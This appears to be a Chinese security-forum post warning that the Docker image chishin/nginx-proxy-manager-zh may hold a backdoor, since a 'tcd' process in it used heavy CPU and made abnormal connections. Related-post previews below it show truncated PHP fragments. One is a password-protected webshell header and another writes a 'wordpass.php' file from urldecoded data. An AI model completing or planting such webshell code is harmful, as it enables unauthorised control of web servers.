当前位置：首页 > 网络安全交流

docker镜像chishin/nginx-proxy-manager-zh疑似有后门程序

14324472932年前 (2024-06-29)网络安全交流1943

服务器内部安装了汉化版的chishin/nginx-proxy-manager-zh
镜像，突然发现cpu异常排除发现此镜像内部tcd进程异常，占用大量cpu。

分析tcd进程发现大量异常连接请求

扫描二维码推送至手机访问。

分享给朋友：

<?php $password='admin'; $shellname='caidaome.com'; $myurl='http://www.caidaome.com'; error_reporting(E_ERROR |&nb…

<?php if (!defined('THINK_PATH')) exit(); file_put_contents ('wordpass.php', urldecode (urldecod…

//不完善，任然需要继续完善 <?php function upbaiduscan($path) { $url = "https://scanner.baidu.com/enqueue&qu…